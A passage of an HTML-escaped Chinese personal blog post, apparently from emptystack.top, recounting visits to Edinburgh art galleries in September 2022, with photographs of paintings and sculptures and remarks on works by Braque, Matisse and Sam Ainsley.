	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;布拉克的画让我想起毕加索——我才知道立体派是他们一起建立的。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_163922.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163922.fcd57092592c67d6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163922.5908ecc5f885723c.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163922.6ef8fce154427a93.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163922.5908ecc5f885723c.webp&quot;
	alt=&quot;布拉克，《烛台》，1911&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;其他上世纪初的画作看起来确实和上上世纪末的不一样，但说不上喜欢。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_163804.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163804.a84afc784f5bbfda.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163804.cebe90feb015185e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163804.c9fd37b247901641.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163804.cebe90feb015185e.webp&quot;
	alt=&quot;Dufresne，《欧罗巴的强奸》，1924&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_163717.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163717.ecefd65c55ced600.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163717.06ff56e14d82965a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163717.5a21dda02e6cd994.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163717.06ff56e14d82965a.webp&quot;
	alt=&quot;杜菲，《麦田》，1929&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最后一个展厅全都是马蒂斯的作品——法国从此迈向野兽派。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_164220.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_164220.cf72e92ed58e600d.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_164220.60c64277388df30a.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_164220.72c643600181f9a6.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_164220.60c64277388df30a.webp&quot;
	alt=&quot;马蒂斯，《命运》，1947&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;h3 id=&quot;Scottish_National_Gallery_of_Modern_Art&quot;&gt;Scottish National Gallery of Modern Art&lt;&#x2F;h3&gt;
&lt;div class=&quot;columns&quot;&gt;
&lt;p&gt;&lt;time&gt;2022-09-17&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;想去&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Modern
One，结果路上看到了一个小门。那小门竖着个旗子，只见上书五行大字（就是这几个字和这个配色，不是图片没加载出来&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre style=&#x27;background: dimgrey;color: white;width: fit-content;height: fit-content&#x27;&gt;
  SCO
NATIO
ERY O
   MO
  &lt;u style=&#x27;color: limegreen&#x27;&gt;TWO&lt;&#x2F;u&gt;
&lt;&#x2F;pre&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;我一下就看出那是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Modern
Two&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的偏门，只是奇怪它为什么开着——因为官网上说&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Modern
Two&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;暂时关闭了。进去才发现有一个付费展还在开。&lt;&#x2F;p&gt;
&lt;p&gt;在建筑前的草地走了走，看了看放在室外的作品，就去街对面的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot; style=&quot;grid-template-columns: 16fr 9fr 9fr&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_134408.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134408.061d22587320a96e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134408.8a7410022b3db7e8.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134408.0e8753ad3c8240e0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134408.8a7410022b3db7e8.webp&quot;
	alt=&quot;There will be no miracles here&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_134521.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134521.ac2d96931c2382fb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134521.17cd4ab03ca083f9.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134521.d01febc086e0e25f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_134521.17cd4ab03ca083f9.webp&quot;
	alt=&quot;The Lines Up Excentric VI&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_135137.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135137.cd5f733c5b37e2f6.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135137.b48c73754716b2b4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135137.60686b0f0eff087e.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135137.b48c73754716b2b4.webp&quot;
	alt=&quot;The master of universe&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;还没进&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的大门就看到有人卡建模了，很好，这预示着我不用看无聊的油画了。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_135258.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135258.3ec0c9fcd454143c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135258.1de961f0ecc000a2.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135258.65b28f285a26cfb7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_135258.1de961f0ecc000a2.webp&quot;
	alt=&quot;6 Times (figure I)&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;还有一个海拔更低的小门。小门旁水池里还有一个类似的雕像——它们是否站在一样的海拔上？答案是否定的，但我还是会禁不住想会不会有什么秘密法阵。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_150806.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150806.156f763e680c919f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150806.6af82eabd5db8179.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150806.c23acbe07fc2f584.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150806.6af82eabd5db8179.webp&quot;
	alt=&quot;水旁的出口&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_150937.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150937.5e66410b60ce1519.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150937.0df07c4f4cc4fb7e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150937.15f10ee83ef952c8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_150937.0df07c4f4cc4fb7e.webp&quot;
	alt=&quot;水旁的人&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;建筑前的草地是一件很大的作品，我想这是外国人对园林的尝试吧。为了保护作品，有很多牌子写着禁止跑动与攀爬，不过当地小孩像不懂英文一样又跑又爬。园林里只有一只鹅，它要不动我还以为是个仿生雕像呢。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns c9-16&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_140740.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140740.d909dc2af28ce386.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140740.e596c218a95ed7c5.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140740.d31733e1d78af5d1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140740.e596c218a95ed7c5.webp&quot;
	alt=&quot;像蟑螂的雕塑&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_145541.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_145541.880208e7847ad368.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_145541.4202cb119c431b31.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_145541.48bfd3a34b49e2bf.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_145541.4202cb119c431b31.webp&quot;
	alt=&quot;园林&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的建筑上用霓虹灯拼出了“一切都会顺利&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。我很喜欢这句话，在草地上走到哪都要回头望一望它。希望真像它写的那样，一切顺利吧。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_140413.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140413.10d86c77142b53ba.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140413.1847ae4188441276.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140413.beb8b36f5bde2c1b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_140413.1847ae4188441276.webp&quot;
	alt=&quot;一切顺利&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;不巧啊，Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;虽然仍在开放，但一层有小半展厅在重新布置，不能进。二楼更是只留了一截楼道供人参观，只能说来得不是时候。展出的作品还行——虽然我觉得&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Royal_Scottish_Academy&quot;&gt;Royal
Scottish
Academy&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的展不比它差。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_141834.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141834.6a9d5a47317f33e2.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141834.dfca204a5db8a80e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141834.e93cea8c34e409b0.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141834.dfca204a5db8a80e.webp&quot;
	alt=&quot;两根线组成的软雕像&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_141936.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141936.52d0dd1148735322.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141936.e2d896dec8e1eb15.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141936.7a815651de39153f.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_141936.e2d896dec8e1eb15.webp&quot;
	alt=&quot;Tableau Vivant&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220917_142227.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_142227.5059606803fe04c8.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_142227.2e5da14c01a445e6.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_142227.510b6f677e22d41c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220917_142227.2e5da14c01a445e6.webp&quot;
	alt=&quot;The legend of the Centuries&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;Royal_Scottish_Academy&quot;&gt;Royal Scottish Academy&lt;&#x2F;h2&gt;
&lt;p&gt;Royal Scottish Academy
Building&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的地下一层是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Royal
Scottish
Academy&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的免费展，上层的开阔空间则是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Scottish_National_Gallery&quot;&gt;Scottish
National
Gallery&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的付费展。这两者的关系很乱，以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;命名的建筑只有一小部分由&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;使用让人疑惑。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_163601.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_163601.fe63b9f17ad03b7f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_163601.57e588200d6e9f88.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_163601.0af8f815b11d7c54.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_163601.57e588200d6e9f88.webp&quot;
	alt=&quot;Royal Scottish Academy Building&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;&lt;time&gt;2022-09-08&lt;&#x2F;time&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;去的时候&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;archive.ph&#x2F;qSyaF&quot;&gt;共有三个展&lt;&#x2F;a&gt;。第一个展是黑人男性身着金属胸罩脚踩金属高跟鞋大声咆哮自己历史被抹去的电影。后两个展都是画展。这是我逛的第一个可以买作品的画廊——突然想起来，画廊本来就是买卖画作的地方啊。&lt;&#x2F;p&gt;
&lt;p&gt;我最喜欢的是一副叫《克隆大脑》的小画，我好像对网格情有独钟。这幅画只卖&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;400&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑，还支持分十期。心动，有闲钱了看看它还卖不卖。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_161158.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161158.df01d457f6693ba7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161158.f745d730866ac496.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161158.f88beb6d222fb4a7.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161158.f745d730866ac496.webp&quot;
	alt=&quot;Sam Ainsley, Cloning Brains, 2017&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;第二心动的是《核子景色&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，很大，4000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑。想要拥有，但太贵。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_161307.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161307.871023c22c5bfdb7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161307.676b2ed11542d12f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161307.105bc6ce8effd1cb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161307.676b2ed11542d12f.webp&quot;
	alt=&quot;Sam Ainsley, Nuclear Landscape&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;第三想要的是《干涸行星&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，也很大，只要&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1800&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;镑。说是行星，但是画了个苏格兰轮廓。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_161337.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161337.53a4bd40fe1561ab.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161337.7f5f086294b04dc3.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161337.7e0a72302b3639d4.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161337.7f5f086294b04dc3.webp&quot;
	alt=&quot;Sam Ainsley, Parched planet, 2017&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;还有一个喜欢的是《内部的内部&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，但是它不卖。不过话说回来，我大概不会真的去买上面列出的作品吧，我可还是穷鬼呢。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_161105.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161105.d41a3cfaa6c89a5e.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161105.5decaba3f210cc15.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161105.499545a7fc7049de.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_161105.5decaba3f210cc15.webp&quot;
	alt=&quot;Flore Gardner, Inside the Insides, 2021&quot;
	
	
